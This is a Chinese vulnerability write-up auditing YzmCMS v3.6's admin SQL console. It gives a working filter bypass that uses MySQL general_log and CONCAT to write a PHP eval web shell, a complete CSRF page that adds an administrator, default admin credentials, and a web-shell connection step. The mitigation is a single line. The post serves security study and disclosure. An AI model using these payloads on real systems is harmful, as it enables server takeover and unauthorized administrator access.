0x00 环境准备

YzmCMS官网:http://www.yzmcms.com/

程序源码下载:http://pan.baidu.com/s/1pKA4u99

测试网站首页:

0x01 代码分析

1、文件位置: /application/admin/controller/sql.class.php第10-42行中:

  1. public function init() {
  2. if(isset($_POST['sqlstr'])){
  3. if(!C('sql_execute')) showmsg('根据系统配置,不允许在线执行SQL命令!', 'stop');
  4. $sqlstr = MAGIC_QUOTES_GPC ? stripslashes($_POST['sqlstr']) : $_POST['sqlstr'];
  5. $sqlstr = rtrim(trim($sqlstr), ';');
  6. $sqls = $_POST['action']=='many' ? explode(';', $sqlstr) : array(0 => $sqlstr);
  7. $admin = D('admin');
  8. foreach($sqls as $sql){
  9. 10.             if(stristr($sql, 'outfile')){
  10. 11.                 $str = '<span class="c-red">ERROR : 检测到非法字符 “outfile”!</span>';
  11. 12.                 break;
  12. 13.             }
  13. 14.             if(stristr($sql, '.php')){
  14. 15.                 $str = '<span class="c-red">ERROR : 检测到非法字符 “.php” !</span>';
  15. 16.                 break;
  16. 17.             }
  17. 18.             if(preg_match("/^drop(.*)database/i", $sql)){
  18. 19.                 $str = '<span class="c-red">ERROR : 不允许删除数据库!</span>';
  19. 20.                 break;
  20. 21.             }
  21. 22.             $result = $admin->query($sql);
  22. 23.             if($result){
  23. 24.                 $str = '<span style="color:green">OK : 执行成功!</span>';
  24. 25.                 if(is_object($result) || is_resource($result)){
  25. 26.                     $arr = $admin->fetch_all($result);
  26. 27.                 }
  27. 28.             }else{
  28. 29.                 $str = '<span class="c-red">ERROR : 执行失败!</span>';
  29. 30.                 break;
  30. 31.             }
  31. 32.         }
  32. 33.     }

这段函数中对提交的sql参数进行还原处理,然后进行非法字符检测,检测字符是否存在”oufile”、”.php”,匹配是否有删除数据的操作等。

2、如何绕过这种限制?

首页,outfile被禁止,第一时间想到的就是SQL语句利用日志写入文件,但是写入脚本文件”.php”会被检测到非法字符;然后,尝试MySQL中concat函数来连接字符串,拆分’.php’关键词,如 CONCAT("test.","php");最后构造出可以写入文件,绕过非法字符检测的的SQL语句,从而触发代码执行漏洞,控制服务器。

Payload:

  1. show variables like '%general%';   #查看配置
  2. set global general_log = on;        #开启general log模式
  3. set global general_log_file =CONCAT("E:\\study\\WWW\\YzmCMS\\test.","php");
  4. select '<?php eval($_POST[cmd]);?>';   #写入shell

0x02 漏洞利用

A、如何获取后台管理员权限

有两种思路:

思路A:通过默认信息,弱口令登录

默认后台路径:http://127.0.0.1/admin/index/login.html

管理员默认账号密码均为:yzmcms

思路B:通过CSRF漏洞,诱导管理员访问,自动在后台添加管理员账号。

CSRF漏洞利用代码如下:

  1. <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
  2. <html>
  3. <head>
  4. <title>OWASP CRSFTester Demonstration</title>
  5. </head>
  6. <body onload="javascript:fireForms()">
  7. <script language="JavaScript">
  8. var pauses = new Array( "68" );
  9. 10.

11. function pausecomp(millis)

12. {

  1. 13.     var date = new Date();
  2. 14.     var curDate = null;
  3. 15.
  4. 16.     do { curDate = new Date(); }
  5. 17.     while(curDate-date < millis);

18. }

  1. 19.

20. function fireForms()

21. {

  1. 22.     var count = 1;
  2. 23.     var i=0;
  3. 24.
  4. 25.     for(i=0; i<count; i++)
  5. 26.     {
  6. 27.         document.forms[i].submit();
  7. 28.
  8. 29.         pausecomp(pauses[i]);
  9. 30.     }

31. }

  1. 32.

33. </script>

34. <H2>OWASP CRSFTester Demonstration</H2>

35. <form method="POST" name="form0" action="http://127.0.0.1:80/admin/admin_manage/add.html">

36. <input type="hidden" name="adminname" value="admin"/>

37. <input type="hidden" name="password" value="abc123!"/>

38. <input type="hidden" name="password2" value="abc123!"/>

39. <input type="hidden" name="email" value=""/>

40. <input type="hidden" name="realname" value=""/>

41. <input type="hidden" name="roleid" value="1"/>

42. <input type="hidden" name="dosubmit" value="1"/>

43. </form>

44. </body>

45. </html>

B、代码执行漏洞利用

Payload:

  1. show variables like '%general%';   #查看配置
  2. set global general_log = on;        #开启general log模式
  3. set global general_log_file =CONCAT("E:\\study\\WWW\\YzmCMS\\test.","php");
  4. select '<?php eval($_POST[cmd]);?>';   #写入shell

1、        执行sql语句,查看mysql日志配置情况

2、        根据日志文件位置或者默认站点路径来推测站点目录,可用load_file()函数来测试,确认站点目录位置。或者通过phpinfo()等信息收集获取站点目录。

3、        分别执行下列sql语句,将脚本代码写入文件:

set global general_log = on;

set global general_log_file =CONCAT("E:\\study\\WWW\\YzmCMS\\test.","php"); select '<?php eval($_POST[cmd]);?>';

4、        提交参数,执行脚本代码:

5、        通过菜刀连接,获取服务器控制权限:

0x03 修复建议

1、Mysql数据库降权处理,让入侵者无法做高权限下可做的事!

最后

欢迎关注个人微信公众号:Bypass--,每周原创一篇技术干货。 

【代码审计】YzmCMS_PHP_v3.6 代码执行漏洞分析的更多相关文章

  1. [转帖]Windows DHCPServer远程代码执行漏洞分析(CVE-2019-0626)

    Windows DHCPServer远程代码执行漏洞分析(CVE-2019-0626) ADLab2019-03-15共23605人围观 ,发现 4 个不明物体安全报告漏洞 https://www.f ...

  2. 【代码审计】YUNUCMS_v1.0.6 后台代码执行漏洞分析

      0x00 环境准备 QYKCMS官网:http://www.yunucms.com 网站源码版本:YUNUCMSv1.0.6 程序源码下载:http://www.yunucms.com/Downl ...

  3. 【代码审计】大米CMS_V5.5.3 任意文件删除及代码执行漏洞分析

      0x00 环境准备 大米CMS官网:http://www.damicms.com 网站源码版本:大米CMS_V5.5.3试用版(更新时间:2017-04-15) 程序源码下载:http://www ...

  4. 【代码审计】OTCMS_PHP_V2.83_代码执行漏洞分析

      0x00 环境准备 OTCMS官网:http://otcms.com 网站源码版本:网钛CMS PHP版 V2.83 [更新于2017.12.31] 程序源码下载:http://d.otcms.c ...

  5. 【代码审计】大米CMS_V5.5.3 代码执行漏洞分析

      0x00 环境准备 大米CMS官网:http://www.damicms.com 网站源码版本:大米CMS_V5.5.3试用版(更新时间:2017-04-15) 程序源码下载:http://www ...

  6. 【代码审计】XYHCMS V3.5代码执行漏洞分析

      0x00 环境准备 XYHCMS官网:http://www.xyhcms.com/ 网站源码版本:XYHCMS V3.5(2017-12-04 更新) 程序源码下载:http://www.xyhc ...

  7. 【代码审计】QYKCMS_v4.3.2 后台down.php页面代码执行漏洞分析

      0x00 环境准备 QYKCMS官网:http://www.qykcms.com/ 网站源码版本:QYKCMS_v4.3.2(企业站主题) 程序源码下载:http://bbs.qingyunke. ...

  8. 【代码审计】DouPHP_v1.3代码执行漏洞分析

      0x00 环境准备 DouPHP官网:http://www.douco.com/ 程序源码下载:http://down.douco.com/DouPHP_1.3_Release_20171002. ...

  9. 【代码审计】iZhanCMS_v2.1 代码执行漏洞分析

      0x00 环境准备 iZhanCMS官网:http://www.izhancms.com 网站源码版本:爱站CMS(zend6.0) V2.1 程序源码下载:http://www.izhancms ...

随机推荐

  1. UML类图的几个名词及对应符号

    实现(Implements) 实现的符号为:\(--- \triangleright\) 箭头指向接口. 泛化/继承(Inheritance) 继承的符号为:$ -\triangleright $ 箭 ...

  2. CentOS下bond网卡聚合与网桥结合

    需求:服务器配置bond多网卡聚合,然后KVM需要使用到网桥,那么需要做到网桥绑定到bond网卡上. 实现核心: 1.bond配置参考:https://www.cnblogs.com/EasonJim ...

  3. 几款流行的HTML5 UI 框架比较

    手机HTML5开发,大部分都使用现有的框架,这里简单比较几个流行的UI 框架.作者(启明星工作室 http://www.dotnetcms.org) 比较一下几款流行的HTML5框架,个人意见,仅供参 ...

  4. 推荐10本C#编程的最佳书籍

    C#和.NET非常受全球开发人员的追捧和热爱.书籍是人类进步的阶梯.想要学习C# ?这里有10本学习C#编程的最好书籍在等着你哦. 1.<C# 5.0 in a Nutshell>:权威的 ...

  5. Android ViewFlipper增添ScrollView后不能滑动了

    Android ViewFlipper添加ScrollView后不能滑动了在Activity中添加ScrollView实现滚动activity的效果后,activity的滑动效果却无法生效了,原因是因 ...

  6. postgresql ltree类型

    最近一个月使用Postgresql的时候,经常遇到ltree的数据,感觉有些别扭,可是有绕不过去.今天决心整理一下,以后使用方便一些. 一.简介 ltree是Postgresql的一个扩展类型,由两位 ...

  7. linux一些稍微高级的命令

    cut 命令:提取文件中指定的字段(列).字符内容.单词的默认分隔符为空格. cut [选项]... [文件]... 选项: -b  按照字节切 -c  按照字符切 -d  指定分割符 -f   指定 ...

  8. android异步向服务器请求数据

    下面就android向服务器请求数据的问题分析如下: 1.在android4.0以后的版本,主线程(UI线程)不在支持网络请求,原因大概是影响主线程,速度太慢,容易卡机,所以需要开启新的线程请求数据: ...

  9. Spring开发工具Spring Tools Suite(STS)

    The Spring Tool Suite is an Eclipse-based development environment that is customized for developing ...

  10. 苹果App Store审核指南中文翻译(更新至140227)

    前言 感谢您付出宝贵的才华与时间来开发iOS应用程程序.从职业与报酬的角度而言,这对于成千上万的开发员来说一直都是一项值得投入的事业,我们希望帮助您加入这个成功的组织.我们发布了<App Sto ...